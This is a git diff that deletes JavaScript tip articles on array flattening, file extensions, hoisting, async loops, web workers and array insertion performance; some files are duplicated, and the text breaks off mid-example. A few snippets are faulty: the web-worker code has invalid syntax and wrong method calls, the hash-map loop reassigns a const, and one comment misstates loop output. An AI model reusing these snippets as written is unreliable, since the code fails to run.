-    [1, 2],
-    [3, 4, 5],
-    [6, 7, 8, 9]
-];
-```
-
-We wanna have this result:
-
-```js
-[1, 2, 3, 4, 5, 6, 7, 8, 9];
-```
-
-### Solution 1: Using [`concat()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat) and [`apply()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)
-
-```js
-var myNewArray = [].concat.apply([], myArray);
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-### Solution 2: Using [`reduce()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce#Flatten_an_array_of_arrays)
-
-```js
-var myNewArray = myArray.reduce(function (prev, curr) {
-    return prev.concat(curr);
-});
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-### Solution 3:
-
-```js
-var myNewArray3 = [];
-for (var i = 0; i < myArray.length; ++i) {
-    for (var j = 0; j < myArray[i].length; ++j) myNewArray3.push(myArray[i][j]);
-}
-console.log(myNewArray3);
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-### Solution 4: Using [spread operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator) in ES6
-
-```js
-var myNewArray4 = [].concat(...myArray);
-console.log(myNewArray4);
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-### Solution 5: Using [`flat()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/flat) in ES10
-
-```js
-var myNewArray5 = myArray.flat();
-console.log(myNewArray5);
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-Take a look [here](https://jsbin.com/janana/edit?js,console) these 4 algorithms in action.
-
-For infinitely nested array try Lodash [flattenDeep()](https://lodash.com/docs#flattenDeep).
-
-If you are curious about performance, [here](http://jsperf.com/flatten-an-array-loop-vs-reduce/6) a test for check how it works.
diff --git a/docs/content/dated/getfile.md b/docs/content/dated/getfile.md
deleted file mode 100644
index 87b7130504..0000000000
--- a/docs/content/dated/getfile.md
+++ /dev/null
@@ -1,78 +0,0 @@
--   /en/get-file-extension/
-
----
-
-### Question: How to get the file extension?
-
-```js
-var file1 = '50.xsl';
-var file2 = '30.doc';
-getFileExtension(file1); //returs xsl
-getFileExtension(file2); //returs doc
-
-function getFileExtension(filename) {
-    /*TODO*/
-}
-```
-
-### Solution 1: Regular Expression
-
----
-
-```js
-function getFileExtension1(filename) {
-    return /[.]/.exec(filename) ? /[^.]+$/.exec(filename)[0] : undefined;
-}
-```
-
-### Solution 2: String `split` method
-
----
-
-```js
-function getFileExtension2(filename) {
-    return filename.split('.').pop();
-}
-```
-
-Those two solutions couldnot handle some edge cases, here is another more robust solution.
-
-### Solution3: String `slice`, `lastIndexOf` methods
-
----
-
-```js
-function getFileExtension3(filename) {
-    return filename.slice(((filename.lastIndexOf('.') - 1) >>> 0) + 2);
-}
-
-console.log(getFileExtension3('')); // ''
-console.log(getFileExtension3('filename')); // ''
-console.log(getFileExtension3('filename.txt')); // 'txt'
-console.log(getFileExtension3('.hiddenfile')); // ''
-console.log(getFileExtension3('filename.with.many.dots.ext')); // 'ext'
-```
-
-_How does it works?_
-
--   [String.lastIndexOf()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/lastIndexOf) method returns the last occurrence of the specified value (`'.'` in this case). Returns `-1` if the value is not found.
--   The return values of `lastIndexOf` for parameter `'filename'` and `'.hiddenfile'` are `-1` and `0` respectively. [Zero-fill right shift operator (>>>)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#%3E%3E%3E_%28Zero-fill_right_shift%29) will transform `-1` to `4294967295` and `-2` to `4294967294`, here is one trick to insure the filename unchanged in those edge cases.
--   [String.prototype.slice()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice) extracts file extension from the index that was calculated above. If the index is more than the length of the filename, the result is `""`.
-
-### Comparison
-
-| Solution                                  |                                          Paramters                                          |                                Results                                |
-| ----------------------------------------- | :-----------------------------------------------------------------------------------------: | :-------------------------------------------------------------------: |
-| Solution 1: Regular Expression            | ''<br> 'filename' <br> 'filename.txt' <br> '.hiddenfile' <br> 'filename.with.many.dots.ext' | undefined <br> undefined <br> 'txt' <br> 'hiddenfile' <br> 'ext' <br> |
-| Solution 2: String `split`                | ''<br> 'filename' <br> 'filename.txt' <br> '.hiddenfile' <br> 'filename.with.many.dots.ext' |    '' <br> 'filename' <br> 'txt' <br> 'hiddenfile' <br> 'ext' <br>    |
-| Solution 3: String `slice`, `lastIndexOf` | ''<br> 'filename' <br> 'filename.txt' <br> '.hiddenfile' <br> 'filename.with.many.dots.ext' |             '' <br> '' <br> 'txt' <br> '' <br> 'ext' <br>             |
-
-### Live Demo and Performance
-
-[Here](https://jsbin.com/tipofu/edit?js,console) is the live demo of the above codes.
-
-[Here](http://jsperf.com/extract-file-extension) is the performance test of those 3 solutions.
-
-### Source
-
-[How can I get file extensions with JavaScript](http://stackoverflow.com/questions/190852/how-can-i-get-file-extensions-with-javascript)
diff --git a/docs/content/dated/getfileextension.md b/docs/content/dated/getfileextension.md
deleted file mode 100644
index 87b7130504..0000000000
--- a/docs/content/dated/getfileextension.md
+++ /dev/null
@@ -1,78 +0,0 @@
--   /en/get-file-extension/
-
----
-
-### Question: How to get the file extension?
-
-```js
-var file1 = '50.xsl';
-var file2 = '30.doc';
-getFileExtension(file1); //returs xsl
-getFileExtension(file2); //returs doc
-
-function getFileExtension(filename) {
-    /*TODO*/
-}
-```
-
-### Solution 1: Regular Expression
-
----
-
-```js
-function getFileExtension1(filename) {
-    return /[.]/.exec(filename) ? /[^.]+$/.exec(filename)[0] : undefined;
-}
-```
-
-### Solution 2: String `split` method
-
----
-
-```js
-function getFileExtension2(filename) {
-    return filename.split('.').pop();
-}
-```
-
-Those two solutions couldnot handle some edge cases, here is another more robust solution.
-
-### Solution3: String `slice`, `lastIndexOf` methods
-
----
-
-```js
-function getFileExtension3(filename) {
-    return filename.slice(((filename.lastIndexOf('.') - 1) >>> 0) + 2);
-}
-
-console.log(getFileExtension3('')); // ''
-console.log(getFileExtension3('filename')); // ''
-console.log(getFileExtension3('filename.txt')); // 'txt'
-console.log(getFileExtension3('.hiddenfile')); // ''
-console.log(getFileExtension3('filename.with.many.dots.ext')); // 'ext'
-```
-
-_How does it works?_
-
--   [String.lastIndexOf()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/lastIndexOf) method returns the last occurrence of the specified value (`'.'` in this case). Returns `-1` if the value is not found.
--   The return values of `lastIndexOf` for parameter `'filename'` and `'.hiddenfile'` are `-1` and `0` respectively. [Zero-fill right shift operator (>>>)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#%3E%3E%3E_%28Zero-fill_right_shift%29) will transform `-1` to `4294967295` and `-2` to `4294967294`, here is one trick to insure the filename unchanged in those edge cases.
--   [String.prototype.slice()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice) extracts file extension from the index that was calculated above. If the index is more than the length of the filename, the result is `""`.
-
-### Comparison
-
-| Solution                                  |                                          Paramters                                          |                                Results                                |
-| ----------------------------------------- | :-----------------------------------------------------------------------------------------: | :-------------------------------------------------------------------: |
-| Solution 1: Regular Expression            | ''<br> 'filename' <br> 'filename.txt' <br> '.hiddenfile' <br> 'filename.with.many.dots.ext' | undefined <br> undefined <br> 'txt' <br> 'hiddenfile' <br> 'ext' <br> |
-| Solution 2: String `split`                | ''<br> 'filename' <br> 'filename.txt' <br> '.hiddenfile' <br> 'filename.with.many.dots.ext' |    '' <br> 'filename' <br> 'txt' <br> 'hiddenfile' <br> 'ext' <br>    |
-| Solution 3: String `slice`, `lastIndexOf` | ''<br> 'filename' <br> 'filename.txt' <br> '.hiddenfile' <br> 'filename.with.many.dots.ext' |             '' <br> '' <br> 'txt' <br> '' <br> 'ext' <br>             |
-
-### Live Demo and Performance
-
-[Here](https://jsbin.com/tipofu/edit?js,console) is the live demo of the above codes.
-
-[Here](http://jsperf.com/extract-file-extension) is the performance test of those 3 solutions.
-
-### Source
-
-[How can I get file extensions with JavaScript](http://stackoverflow.com/questions/190852/how-can-i-get-file-extensions-with-javascript)
diff --git a/docs/content/dated/hashmapswithoutside.md b/docs/content/dated/hashmapswithoutside.md
deleted file mode 100644
index 1e510a0de8..0000000000
--- a/docs/content/dated/hashmapswithoutside.md
+++ /dev/null
@@ -1,42 +0,0 @@
----
-
-# Hash maps without side effects
-
-When you want to use javascript object as a hash map(purely for storing data), you might want to create it as follows.
-
-```js
-const map = Object.create(null);
-```
-
-When creating a map using object literal(`const map = {}`), the map inherits properties from Object by default. It is equivalent to `Object.create(Object.prototype)`.
-
-But by doing `Object.create(null)`, we explicitly specify `null` as its prototype. So it have absolutely no properties, not even constructor, toString, hasOwnProperty, etc. so you're free to use those keys in your data structure if you need to.
-
-## Rationale:
-
-```js
-const dirtyMap = {};
-const cleanMap = Object.create(null);
-
-dirtyMap.constructor    // function Object() { [native code] }
-
-cleanMap.constructor    // undefined
-
-// Iterating maps
-
-const key;
-for(key in dirtyMap){
-  if (dirtyMap.hasOwnProperty(key)) {   // Check to avoid iterating over inherited properties.
-    console.log(key + " -> " + dirtyMap[key]);
-  }
-}
-
-for(key in cleanMap){
-  console.log(key + " -> " + cleanMap[key]);    // No need to add extra checks, as the object will always be clean
-}
-```
-
-## Notes:
-
--   Object.create() was introduced in ES5: [Compatibility](http://kangax.github.io/compat-table/es5/)
--   ES6 introduced some new structures: [Map](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Map), [WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap), [Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) and [Weak Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet)
diff --git a/docs/content/dated/hashmapswithoutsideeffects.md b/docs/content/dated/hashmapswithoutsideeffects.md
deleted file mode 100644
index 1e510a0de8..0000000000
--- a/docs/content/dated/hashmapswithoutsideeffects.md
+++ /dev/null
@@ -1,42 +0,0 @@
----
-
-# Hash maps without side effects
-
-When you want to use javascript object as a hash map(purely for storing data), you might want to create it as follows.
-
-```js
-const map = Object.create(null);
-```
-
-When creating a map using object literal(`const map = {}`), the map inherits properties from Object by default. It is equivalent to `Object.create(Object.prototype)`.
-
-But by doing `Object.create(null)`, we explicitly specify `null` as its prototype. So it have absolutely no properties, not even constructor, toString, hasOwnProperty, etc. so you're free to use those keys in your data structure if you need to.
-
-## Rationale:
-
-```js
-const dirtyMap = {};
-const cleanMap = Object.create(null);
-
-dirtyMap.constructor    // function Object() { [native code] }
-
-cleanMap.constructor    // undefined
-
-// Iterating maps
-
-const key;
-for(key in dirtyMap){
-  if (dirtyMap.hasOwnProperty(key)) {   // Check to avoid iterating over inherited properties.
-    console.log(key + " -> " + dirtyMap[key]);
-  }
-}
-
-for(key in cleanMap){
-  console.log(key + " -> " + cleanMap[key]);    // No need to add extra checks, as the object will always be clean
-}
-```
-
-## Notes:
-
--   Object.create() was introduced in ES5: [Compatibility](http://kangax.github.io/compat-table/es5/)
--   ES6 introduced some new structures: [Map](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Map), [WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap), [Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) and [Weak Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet)
diff --git a/docs/content/dated/helpfulconsoleloghacks.md b/docs/content/dated/helpfulconsoleloghacks.md
deleted file mode 100644
index ae2aa88b07..0000000000
--- a/docs/content/dated/helpfulconsoleloghacks.md
+++ /dev/null
@@ -1,21 +0,0 @@
--   /en/helpful-console-log-hacks/
-
-## Using conditional breakpoints to log data
-
-If you wanted to log to the console a value each time a function is called, you can use conditional break points to do this. Open up your dev tools, find the function where you'd like to log data to the console and set a breakpoint with the following condition:
-
-```js
-console.log(data.value) && false;
-```
-
-A conditional breakpoint pauses the page thread only if the condition for the breakpoint evaluates to true. So by using a condition like console.log('foo') && false it's guaranteed to evaluate to false since you're putting the literal false in the AND condition. So this will not pause the page thread when it's hit, but it will log data to the console. This can also be used to count how many times a function or callback is called.
-
-Here's how you can set a conditional breakpoint in [Edge](https://dev.windows.com/en-us/microsoft-edge/platform/documentation/f12-devtools-guide/debugger/#setting-and-managing-breakpoints 'Managing Breakpoints in Edge'), [Chrome](https://developer.chrome.com/devtools/docs/javascript-debugging#breakpoints 'Managing Breakpoints in Chrome'), [Firefox](https://developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Set_a_conditional_breakpoint 'Managing Breakpoints in Firefox') and [Safari](https://developer.apple.com/library/mac/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Debugger/Debugger.html 'Managing Breakpoints in Safari').
-
-## Printing a function variable to console
-
-Have you ever logged a function variable to the console and weren't able to just view the function's code? The quickest way to see the function's code is to coerce it to a string using concatenation with an empty string.
-
-```js
-console.log(funcVariable + '');
-```
diff --git a/docs/content/dated/hoisting.md b/docs/content/dated/hoisting.md
deleted file mode 100644
index 94e947d1f3..0000000000
--- a/docs/content/dated/hoisting.md
+++ /dev/null
@@ -1,40 +0,0 @@
-Understanding [hoisting](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var#var_hoisting) will help you organize your function scope. Just remember, variable declarations and function definitions are hoisted to the top. Variable definitions are not, even if you declare and define a variable on the same line. Also, a variable **declaration** lets the system know that the variable exists while **definition** assigns it a value.
-
----
-
-```js
-function doTheThing() {
-    // ReferenceError: notDeclared is not defined
-    console.log(notDeclared);
-
-    // Outputs: undefined
-    console.log(definedLater);
-    var definedLater;
-
-    definedLater = 'I am defined!';
-    // Outputs: 'I am defined!'
-    console.log(definedLater);
-
-    // Outputs: undefined
-    console.log(definedSimulateneously);
-    var definedSimulateneously = 'I am defined!';
-    // Outputs: 'I am defined!'
-    console.log(definedSimulateneously);
-
-    // Outputs: 'I did it!'
-    doSomethingElse();
-
-    function doSomethingElse() {
-        console.log('I did it!');
-    }
-
-    // TypeError: undefined is not a function
-    functionVar();
-
-    var functionVar = function () {
-        console.log('I did it!');
-    };
-}
-```
-
-To make things easier to read, declare all of your variables at the top of your function scope so it is clear which scope the variables are coming from. Define your variables before you need to use them. Define your functions at the bottom of your scope to keep them out of your way.
diff --git a/docs/content/dated/immutablestructuresandcloning.md b/docs/content/dated/immutablestructuresandcloning.md
deleted file mode 100644
index 90650a8dd8..0000000000
--- a/docs/content/dated/immutablestructuresandcloning.md
+++ /dev/null
@@ -1,56 +0,0 @@
----
-
-Object cloning is a tricky, full of edge-cases, endeavor. The reason is simple
-enough. Objects maintain internal state, and that is much abused. There are
-countless techniques, or better phrased, countless derivations of the same
-technique.
-
-Cloning an object is an indicator that your application is growing, and that
-you've got a complex object which you'd want to treat as an immutable value, i.e
-operate on it while maintaining a previous state.
-
-If the object is in your control, you're lucky. A bit of refactoring here and
-there might lead you to a point where you avoid the problem entirely by
-rethinking your object's structure and behavior.
-
-With the rediscovering of functional programming techniques, a myriad of debates
-have been held about immutable structures and how they offer exactly what you
-seek for. Mutable state is the root of all evil, some might argue.
-
-We encourage to reach **ImmutableJS** by Facebook which provides a nice set of
-immutable structures free for use. By rethinking your object's inner workings
-and separating state from behavior, making each function consume a state to
-produce a new one - much like the Haskell's **State** monad - you will
-reduce many nuisances.
-
-If the object is outside your control, you're partly out of luck. This can be
-circumvented by creating convoluted computations where you solve for yourself
-circular references and reach enlightenment. However, as you're using external
-objects anyways, and they must come, as their name says, from external sources,
-then you might be more comfortable handling the matter to yet another external
-library and focus on what matters the most, i.e, your application itself.
-
-One such library is [pvorb/clone](https://github.com/pvorb/clone), which has a
-very simple API. To clone an object you only have to
-
-```js
-var clone = require('clone');
-
-var a = { foo: { bar: 'baz' } };
-var b = clone(a);
-a.foo.bar = 'foo';
-console.log(a); // {foo: {bar: 'foo'}}
-console.log(b); // {foo: {bar: 'baz'}}
-```
-
-There are, of course, many more libraries that allow you to do the same such as
-[Ramda](http://ramdajs.com/docs/#clone), [lodash.clonedeep](https://www.npmjs.com/package/lodash.clonedeep)
-and [lodash.clone](https://www.npmjs.com/package/lodash.clone).
-
-As an end note, if you are serious about dealing with immutable structures, you
-might want to check **ClojureScript** or (for those that feel that Haskell's
-worth a shot) **PureScript**.
-
-We neither encourage, nor condemn, the use of self made cloning mechanisms. Only
-noting that considerable work has been done on the area and that you'd probably
-be better of reusing than reinventing the wheel.
diff --git a/docs/content/dated/implementingasynchronousloops.md b/docs/content/dated/implementingasynchronousloops.md
deleted file mode 100644
index ee61e0fbc8..0000000000
--- a/docs/content/dated/implementingasynchronousloops.md
+++ /dev/null
@@ -1,86 +0,0 @@
--   /en/implementing-asynchronous-loops/
-
-Let's try out writing an asynchronous function which prints the value of the loop index every second.
-
-```js
-for (var i = 0; i < 5; i++) {
-    setTimeout(function () {
-        console.log(i);
-    }, 1000 * (i + 1));
-}
-```
-
-The output of the above programs turns out to be
-
-```js
-> 5
-> 5
-> 5
-> 5
-> 5
-```
-
-So this definitely doesn't work.
-
-**Reason**
-
-Each timeout refers to the original `i`, not a copy. So the for loop increments `i` until it gets to 5, then the timeouts run and use the current value of `i` (which is 5).
-
-Well , this problem seems easy. An immediate solution that strikes is to cache the loop index in a temporary variable.
-
-```js
-for (var i = 0; i < 5; i++) {
-    var temp = i;
-    setTimeout(function () {
-        console.log(temp);
-    }, 1000 * (i + 1));
-}
-```
-
-But again the output of the above programs turns out to be
-
-```js
-> 4
-> 4
-> 4
-> 4
-> 4
-```
-
-So , that doesn't work either , because blocks don't create a scope and variables initializers are hoisted to the top of the scope. In fact, the previous block is the same as:
-
-```js
-var temp;
-for (var i = 0; i < 5; i++) {
-    temp = i;
-    setTimeout(function () {
-        console.log(temp);
-    }, 1000 * (i + 1));
-}
-```
-
-**Solution**
-
-There are a few different ways to copy `i`. The most common way is creating a closure by declaring a function and passing `i` as an argument. Here we do this as a self-calling function.
-
-```js
-for (var i = 0; i < 5; i++) {
-    (function (num) {
-        setTimeout(function () {
-            console.log(num);
-        }, 1000 * (i + 1));
-    })(i);
-}
-```
-
-In JavaScript, arguments are passed by value to a function. So primitive types like numbers, dates, and strings are basically copied. If you change them inside the function, it does not affect the outside scope. Objects are special: if the inside function changes a property, the change is reflected in all scopes.
-
-Another approach for this would be with using `let`. With ES6 the `let` keyword is useful since it's block scoped unlike `var`
-
-```js
-for (let i = 0; i < 5; i++) {
-    setTimeout(function () {
-        console.log(i);
-    }, 1000 * (i + 1));
-}
-```
diff --git a/docs/content/dated/improvenestedconditionals.md b/docs/content/dated/improvenestedconditionals.md
deleted file mode 100644
index 1b0986f066..0000000000
--- a/docs/content/dated/improvenestedconditionals.md
+++ /dev/null
@@ -1,93 +0,0 @@
--   /en/improve-nested-conditionals/
-
-How can we improve and make a more efficient nested `if` statement in javascript?
-
-```js
-if (color) {
-    if (color === 'black') {
-        printBlackBackground();
-    } else if (color === 'red') {
-        printRedBackground();
-    } else if (color === 'blue') {
-        printBlueBackground();
-    } else if (color === 'green') {
-        printGreenBackground();
-    } else {
-        printYellowBackground();
-    }
-}
-```
-
-One way to improve the nested `if` statement would be using the `switch` statement. Although it is less verbose and is more ordered, it's not recommended to use it because it's so difficult to debug errors. Here's [why](https://toddmotto.com/deprecating-the-switch-statement-for-object-literals).
-
-```js
-switch (color) {
-    case 'black':
-        printBlackBackground();
-        break;
-    case 'red':
-        printRedBackground();
-        break;
-    case 'blue':
-        printBlueBackground();
-        break;
-    case 'green':
-        printGreenBackground();
-        break;
-    default:
-        printYellowBackground();
-}
-```
-
-But what if we have a conditional with several checks in each statement? In this case, if we want it less verbose and more ordered, we can use the conditional `switch`.
-If we pass `true` as a parameter to the `switch` statement, it allows us to put a conditional in each case.
-
-```js
-switch (true) {
-    case typeof color === 'string' && color === 'black':
-        printBlackBackground();
-        break;
-    case typeof color === 'string' && color === 'red':
-        printRedBackground();
-        break;
-    case typeof color === 'string' && color === 'blue':
-        printBlueBackground();
-        break;
-    case typeof color === 'string' && color === 'green':
-        printGreenBackground();
-        break;
-    case typeof color === 'string' && color === 'yellow':
-        printYellowBackground();
-        break;
-}
-```
-
-If refactoring is an option, we can try to simplify the functions themselves. For example instead of having a function for each background color we could have an function that takes the color as an argument.
-
----
-
-```js
-function printBackground(color) {
-    if (!color || typeof color !== 'string') {
-        return; // Invalid color, return immediately
-    }
-}
-```
-
-But if refactoring is not an option, we must always avoid having several checks in every condition and avoid using `switch` as much as possible. We also must take into account that the most efficient way to do this is through an `object`.
-
-```js
-var colorObj = {
-    black: printBlackBackground,
-    red: printRedBackground,
-    blue: printBlueBackground,
-    green: printGreenBackground,
-    yellow: printYellowBackground
-};
-
-if (color in colorObj) {
-    colorObj[color]();
-}
-```
-
-Here you can find more information about [this](http://www.nicoespeon.com/en/2015/01/oop-revisited-switch-in-js/).
diff --git a/docs/content/dated/improvingyourasyncfunctionswithwebworkers.md b/docs/content/dated/improvingyourasyncfunctionswithwebworkers.md
deleted file mode 100644
index 0d59b727b8..0000000000
--- a/docs/content/dated/improvingyourasyncfunctionswithwebworkers.md
+++ /dev/null
@@ -1,65 +0,0 @@
----
-
-> JS shall have but one Thread (in the browser at least)
->
-> -- Thus spoke the master programmer.
-
-JS runs in a single thread in the browser, this is the truth.
-
-Somewhere in its own universe, there exists a Queue which holds messages
-and functions associated with them.
-
-Every time an event (i.e, a user clicks a button) is registered, there's
-a runtime check to see whether there's any listener attached to that event.
-If there's one, it will enqueue the message. Otherwise, it will be lost
-forever.
-
-Now, our event loop processes one message at a time, meaning that if you
-do some CPU intensive operation (i.e, number crunching) this will indeed
-'block' the one Thread, rendering our application useless.
-
-This is true even for `async` functions, which will be queued as soon as
-invoked and executed as soon as possible (immediately given the queue is
-empty).
-
-I/O such as requests to external resources are non-blocking though, so you
-can request a file as large as you want without fear. The associated
-callback, however, will show the same characteristics of an `async` function.
-
-Strategies for processing lots of data vary a lot. You could partition data
-and set timeouts for processing bits of it a time for example. But to unleash
-the full power of asynchronous processing, you should use Web Workers.
-
-To do so, you separate the processing part in a different file (possibly
-'my_worker.js'), create a worker with `newWorker = new Worker('my_worker.js');`
-and offload the processing to it.
-
-```js
-// my_worker.js
-const do_a_lot_of_processing = (data) => {
-    ....
-}
-
-onmessage = (e) => {
-    postMessage(do_a_lot_of_processing(e.data));
-}
-
-// main.js
-const myWorker = new Worker('my_worker.js');
-
-async function get_useful_data() {
-    const raw_data = await request(some_url);
-    myWorker.postmessage(raw_data);
-}
-
-const show_data => (e) {
-    const data = e.data;
-    ...
-}
-
-myWorker.onmessage(show_data);
-get_useful_data();
-```
-
-Your mileage may vary of course, and there are many abstractions that can be
-built upon this model.
diff --git a/docs/content/dated/insertiteminsideanarray.md b/docs/content/dated/insertiteminsideanarray.md
deleted file mode 100644
index 999848c0fe..0000000000
--- a/docs/content/dated/insertiteminsideanarray.md
+++ /dev/null
@@ -1,173 +0,0 @@
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/insert-item-inside-an-array/
-
-# Inserting an item into an existing array
-
-Inserting an item into an existing array is a daily common task. You can add elements to the end of an array using push, to the beginning using unshift, or to the middle using splice.
-
-Those are known methods, but it doesn't mean there isn't a more performant way. Here we go:
-
-## Adding an element at the end
-
-Adding an element at the end of the array is easy with push(), but it can be done in different ways.
-
-```js
-var arr = [1, 2, 3, 4, 5];
-var arr2 = [];
-
-arr.push(6);
-arr[arr.length] = 6;
-arr2 = arr.concat([6]);
-```
-
-Both first methods modify the original array. Don't believe me? Check the [jsperf](http://jsperf.com/push-item-inside-an-array)
-
-### Performance on mobile :
-
-#### Android (v4.2.2)
-
-1. _arr.push(6);_ and _arr[arr.length] = 6;_ have the same performance // 3 319 694 ops/sec
-2. _arr2 = arr.concat([6]);_ 50.61 % slower than the other two methods
-
-#### Chrome Mobile (v33.0.0)
-
-1. _arr[arr.length] = 6;_ // 6 125 975 ops/sec
-2. _arr.push(6);_ 66.74 % slower
-3. _arr2 = arr.concat([6]);_ 87.63 % slower
-
-#### Safari Mobile (v9)
-
-1. _arr[arr.length] = 6;_ // 7 452 898 ops/sec
-2. _arr.push(6);_ 40.19 % slower
-3. _arr2 = arr.concat([6]);_ 49.78 % slower
-
-```js
-Final victor
-
-1. arr[arr.length] = 6; // with an average of 5 632 856 ops/sec
-2. arr.push(6); // 35.64 % slower
-3. arr2 = arr.concat([6]); // 62.67 % slower
-```
-
-### Performance on desktop
-
-#### Chrome (v48.0.2564)
-
-1. _arr[arr.length] = 6;_ // 21 602 722 ops/sec
-2. _arr.push(6);_ 61.94 % slower
-3. _arr2 = arr.concat([6]);_ 87.45 % slower
-
-#### Firefox (v44)
-
-1. _arr.push(6);_ // 56 032 805 ops/sec
-2. _arr[arr.length] = 6;_ 0.52 % slower
-3. _arr2 = arr.concat([6]);_ 87.36 % slower
-
-#### IE (v11)
-
-1. _arr[arr.length] = 6;_ // 67 197 046 ops/sec
-2. _arr.push(6);_ 39.61 % slower
-3. _arr2 = arr.concat([6]);_ 93.41 % slower
-
-#### Opera (v35.0.2066.68)
-
-1. _arr[arr.length] = 6;_ // 30 775 071 ops/sec
-2. _arr.push(6);_ 71.60 % slower
-3. _arr2 = arr.concat([6]);_ 83.70 % slower
-
-#### Safari (v9.0.3)
-
-1. _arr.push(6);_ // 42 670 978 ops/sec
-2. _arr[arr.length] = 6;_ 0.80 % slower
-3. _arr2 = arr.concat([6]);_ 76.07 % slower
-
-```js
-Final victor
-
-1. arr[arr.length] = 6; // with an average of 42 345 449 ops/sec
-2. arr.push(6); // 34.66 % slower
-3. arr2 = arr.concat([6]); // 85.79 % slower
-```
-
-## Add an element at the beginning
-
-Now if we are trying to add an item to the beginning of the array:
-
-```js
-var arr = [1, 2, 3, 4, 5];
-
-arr.unshift(0);
-[0].concat(arr);
-```
-
-Here is a little more detail: unshift edits the original array; concat returns a new array. [jsperf](http://jsperf.com/unshift-item-inside-an-array)
-
-### Performance on mobile :
-
-#### Android (v4.2.2)
-
-1. _[0].concat(arr);_ // 1 808 717 ops/sec
-2. _arr.unshift(0);_ 97.85 % slower
-
-#### Chrome Mobile (v33.0.0)
-
-1. _[0].concat(arr);_ // 1 269 498 ops/sec
-2. _arr.unshift(0);_ 99.86 % slower
-
-#### Safari Mobile (v9)
-
-1. _arr.unshift(0);_ // 3 250 184 ops/sec
-2. _[0].concat(arr);_ 33.67 % slower
-
-```js
-Final victor
-
-1. [0].concat(arr); // with an average of 4 972 622 ops/sec
-2. arr.unshift(0); // 64.70 % slower
-```
-
-### Performance on desktop
-
-#### Chrome (v48.0.2564)
-
-1. _[0].concat(arr);_ // 2 656 685 ops/sec
-2. _arr.unshift(0);_ 96.77 % slower
-
-#### Firefox (v44)
-
-1. _[0].concat(arr);_ // 8 039 759 ops/sec
-2. _arr.unshift(0);_ 99.72 % slower
-
-#### IE (v11)
-
-1. _[0].concat(arr);_ // 3 604 226 ops/sec
-2. _arr.unshift(0);_ 98.31 % slower
-
-#### Opera (v35.0.2066.68)
-
-1. _[0].concat(arr);_ // 4 102 128 ops/sec
-2. _arr.unshift(0);_ 97.44 % slower
-
-#### Safari (v9.0.3)
-
-1. _arr.unshift(0);_ // 12 356 477 ops/sec
-2. _[0].concat(arr);_ 15.17 % slower
-
-```js
-Final victor
-
-1. [0].concat(arr); // with an average of 6 032 573 ops/sec
-2. arr.unshift(0); // 78.65 % slower
-```
-
-## Add an element in the middle
-
-Adding items in the middle of an array is easy with splice, and it's the most performant way to do it.
-
-```js
-var items = ['one', 'two', 'three', 'four'];
-items.splice(items.length / 2, 0, 'hello');
-```
-
-I tried to run these tests in various Browsers and OS and the results were similar. I hope these tips will be useful for you and encourage to perform your own tests!
diff --git a/docs/content/dated/keywordvarvslet.md b/docs/content/dated/keywordvarvslet.md
deleted file mode 100644
index 8cb17c373b..0000000000
--- a/docs/content/dated/keywordvarvslet.md
+++ /dev/null
@@ -1,94 +0,0 @@
--   /en/keyword-var-vs-let/
-
----
-
-### Overview
-
--   The scope of a variable defined with `var` is function scope or declared outside any function, global.
--   The scope of a variable defined with `let` is block scope.
-
----
-
-```js
-function varvslet() {
-    console.log(i); // i is undefined due to hoisting
-    // console.log(j); // ReferenceError: j is not defined
-
-    for (var i = 0; i < 3; i++) {
-        console.log(i); // 0, 1, 2
-    }
-
-    console.log(i); // 3
-    // console.log(j); // ReferenceError: j is not defined
-
-    for (let j = 0; j < 3; j++) {
-        console.log(j);
-    }
-
-    console.log(i); // 3
-    // console.log(j); // ReferenceError: j is not defined
-}
-```
-
-### Difference Details
-
--   Variable Hoisting
-
-    `let` will not hoist to the entire scope of the block they appear in. By contrast, `var` could hoist as below.
-
-```js
-{
-    console.log(c); // undefined. Due to hoisting
-    var c = 2;
-}
-
-{
-    console.log(b); // ReferenceError: b is not defined
-    let b = 3;
-}
-```
-
--   Closure in Loop
-
-    `let` in the loop can re-binds it to each iteration of the loop, making sure to re-assign it the value from the end of the previous loop iteration, so it can be used to avoid issue with closures.
-
-```js
-for (var i = 0; i < 5; ++i) {
-    setTimeout(function () {
-        console.log(i); // output '5' 5 times
-    }, 100);
-}
-```
-
-After replacing `var` with `let`
-
-```js
-// print 1, 2, 3, 4, 5
-for (let i = 0; i < 5; ++i) {
-    setTimeout(function () {
-        console.log(i); // output 0, 1, 2, 3, 4
